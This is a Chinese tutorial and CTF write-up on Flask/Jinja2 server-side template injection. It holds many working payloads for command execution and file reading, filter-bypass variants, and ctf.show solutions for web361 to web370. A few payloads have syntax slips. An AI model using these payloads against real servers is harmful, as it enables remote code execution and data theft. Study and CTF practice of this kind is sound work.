这个是关于flask架构的ssti漏洞,所以要先讲解flask架构
flask架构
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。优点就在于开发简单,代码量少,很多工作都在框架中被实现了。他与Django不同于Django是一个全能型框架,通常用于编写大型的网站。 而jinjia2、template、Mako等等都属于为框架提供功能支持的引擎,各有优缺点,也不是我们主要学习的内容。但我们要知道Flask默认使用的引擎为jinjia2,本文也会主要分析jinjia2中的注入问题。
产生原因
flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。
架构栗子
#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__) # 创建FLask类
@app.route("/") #设置的默认路由
def index(): #默认的视图函数,与路由绑定,用来处理用户访问网站跟目录/时的情况
name = request.args.get('name', 'guest')#接受参数名为name 的参数传入
html = '''
<h3>your input %s</h3>
'''%name #设置一个模板html,将name的值以%s输出
return render_template_string(html) #将html以字符串模板的形式渲染
#对应的,当html是一个文件时,使用render_template 函数来渲染一个指定的文件
if __name__=='__main__': #作为主文件启动时
app.run(debug = True) #以debug模式运行
当传入参数name时,会被Template创建模板后渲染为页面展示的内容。 例如传入 name=Wea5e1 会回显 your input Wea5e1
注入测试
在jinjia2引擎里面
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
就像我们通常测试的时候都是{{7*7}}这样进行测试,发现回显49,就代表花括号中的值是可控且被模板渲染。也就是用户在{{}}中的输入被引擎视为新的变量从而进行渲染,这时就满足了代码执行、输入可控的基本条件。
重要的类和属性
这里首先了解一下模板中的几个重要类和属性,便于后续调用指定的敏感模块。
__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
使用类的栗子
class A:
pass
class B(A):
pass
class C(B):
pass
c = C() //创建继承链
print(c.__class__) //<class '__main__.C'> 返回实例C的类
print(c.__class__.__mro__[1]) //返回其父类 print(c.__class__.__mro__[3]) //到顶了就返回其所有的基类,也就是object
print(c.__class__.__mro__[3].__subclasses__()) //返回基类中的所有子类(包括内置类)
print(c.__class__.__mro__[3].__subclasses__()[156]) //返回基类里面第156个子类(我这里的os模块是156,具体问题具体分析)
print(c.__class__.__mro__[3].__subclasses__()[156].__init__) //对os模块进行初始化,方便调用//获取该子类的 __init__ 函数对象
print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__['popen']) //通过 __globals__ 获取该函数作用域内的全局变量 popen
print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__['popen']('whoami').read())//使用popen这个全局变量进行RCE
额,上面这个其实就是进行了一次关于flask的ssti的漏洞利用了
SSTi
原理:
服务器端模板注入(Server – Side Template Injection,SSTI)漏洞,是指攻击者能够利用应用程序对模板引擎的使用,将恶意的模板代码注入到服务器端的模板渲染过程中,使得这些恶意代码在服务器端被执行,从而获取敏感信息、执行系统命令或控制服务器等恶意操作的一种安全漏洞。
原因:
flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。
漏洞利用
魔术方法
`__class__ 返回该对象所属的类。py万物皆对象,比如某个字符串对象,而其所属的类为<class 'str'>`
`__base__ 以字符串形式返回一个类的父类`
`__bases__ 以元组形式返回一个类的全部父类`
`__mro__ 返回解析方法调用的顺序,即返回所有父类`
`__subclasses__() 返回这个类的所有子类`
`__init__ 初始化类,返回的类型是function`
`__globals__ 用于获取function所处空间下可使用的module、方法以及所有变量`
`__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里`
`__str__() 返回描写这个对象的字符串,可以理解成是打印出来。`
`__getattribute__() 绕过关键字。实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。`
`__getitem__() 绕过[]。调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')`
`__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]`
`__builtins__ 内建名称空间,里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。`
`url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。`
`get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。`
`lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}`
`request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()`
`request.args.x1 get传参`
`request.values.x1 所有参数`
`request.cookies cookies参数`
`request.headers 请求头参数`
`request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)`
`request.data post传参 (Content-Type:a/b)`
`request.json post传json (Content-Type: application/json)`
`config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}`
`current_app 应用上下文,一个全局变量。`
`g {{g}}得到<flask.g of 'flask_ssti'>`
常见的命令执行方式:
os.system():
__init__.__globals__['os'].system('ls')的输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,因为输出结果不明显,所以我们也会用到下面这个命令:
os.popen():
用法:os.popen(command[,mode[,bufsize]])
{{''.__class__.__mro__[1].__subclasses__()[156].__init__.__globals__['os'].popen('ls').read()}}
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
缺点:Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息
warnings.catchwarning:
访问os模块还有从warnings.catchwarnings模块入手的,而这两个模块分别位于元组中的59,60号元素。init方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。
`[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')`
`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')`
builtins内建函数:
内建函数就是本身就有的,启动的时候python解释器就会自动解析,内建函数里面包括了许多们需要的eval函数,可以执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')`
`这两个payload用的是同一个模块,__builtins__模块,eval方法.`
`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()`
绕过Waf
关键字绕过:
拼接法
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
//只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。
编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
->
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} //只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等,还有Unicode编码,Hex编码,引号绕过
利用引号绕过
我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""ag 或 fl''ag 的形式来绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
利用join()函数绕过
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
绕过其他字符
过滤了中括号[ ]
利用 __getitem__() 绕过
可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素,如:
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')
或者使用.
利用 pop() 绕过
pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
注意:最好不要用pop(),因为pop()会删除相应位置的值。
利用字典读取绕过
我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例
// __builtins__.eval()
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
->
// [__builtins__]['eval']()
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
过滤了引号
利用chr()绕过
先获取chr()函数,赋值给chr,后面再拼接成一个字符串
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
利用request对象绕过
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
//如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
过滤了下划线__
利用request对象绕过
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
过滤了点 .
利用 |attr() 绕过(适用于flask)
如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:
().__class__ => ()|attr("__class__")
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
-> {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用中括号[ ]绕过
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
->
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}} //这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
过滤了大括号 {{
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
利用 |attr() 来Bypass
这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:
foo|attr("bar") 等同于 foo["bar"]
利用lipsum方法绕过
利用它直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
//同理
使用url_for函数获取全局变量得到config得到flag
{{url_for.globals[“current_app”].config}}
{{get_flashed_messages.globals[‘current_app’].config}}
show靶场刷题
web361
附上去脚本
import requests
for i in range(233):
url = 'http://438829d5-cdff-48a0-9b79-db834b871262.challenge.ctf.show/?name={{%22%22.__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if 'os._wrap_close' in r :
print(i)
无过滤
payload1:{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac /f*').read()}}
//{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen('tac /f*').read()}}
payload2:{{url_for.__globals__.os.popen('tac /f*').read()}}
payload3:{{lipsum.__globals__.os.popen('tac /f*').read()}}
web362
过滤数字
payload1:{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac /f*').read()}}//全角数字代替正常数字
payload2:{{url_for.__globals__.os.popen('tac /f*').read()}}
payload3:{{lipsum.__globals__.os.popen('tac /f*').read()}}
脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
# 得到全角数字:
# '0','1','2','3','4','5','6','7','8','9'
web363
过滤了单双引号
payload1:{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=tac /f*
payload2:{{url_for.__globals__.os.popen(request.args.a).read()}}&a=tac /f*
payload3:{{lipsum.__globals__.os.popen(request.args.a).read()}}&a=tac /f*
web364
过滤了args
payload1:{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=tac /f*
payload2:{{url_for.__globals__.os.popen(request.values.a).read()}}&a=tac /f*
payload3:{{lipsum.__globals__.os.popen(request.values.a).read()}}&a=tac /f*
web365
过滤了[]
payload1:{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=tac /f*
//{{().__class__.__mro__.1.__subclasses__().132.__init__.__globals__.popen(request.values.a).read()}}&a=tac /f*
payload2:{{url_for.__globals__.os.popen(request.values.a).read()}}&a=tac /f*
payload3:{{lipsum.__globals__.os.popen(request.values.a).read()}}&a=tac /f*
web366
过滤下划线和[]
payload1:
payload2:{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=tac /f*
web367
过滤了os
payload:{{(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()}}&a=__globals__&b=tac /f*&c=os
web368
过滤了大括号{{}}。
使用{%%}绕过,再借助print()回显
payload:?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
web369
过滤的真的厉害,先上payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%} 拼接出来pop这个字典,然后可以加{%print po%}可以回显出来pop
{% set a=(()|select|string|list)|attr(po)(24)%} 这个是对空元组进行操作,转化为str再转化为list列表,然后获取字典po里面的属性里面的第24个项,总结拼接出来_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%} 使用ini代替__init__,下面有的同理
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%} 这个就直接进行总结了,让x=上面总结的魔术方法
{% set chr=x.chr %} 再x对象里面提出来chr属性
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% } 拼接出来/flag
{%print(x.open(file).read())%} 进行打印出来/flag的内容
web370
过滤了数字,把上面的数字换成全角数字就行了

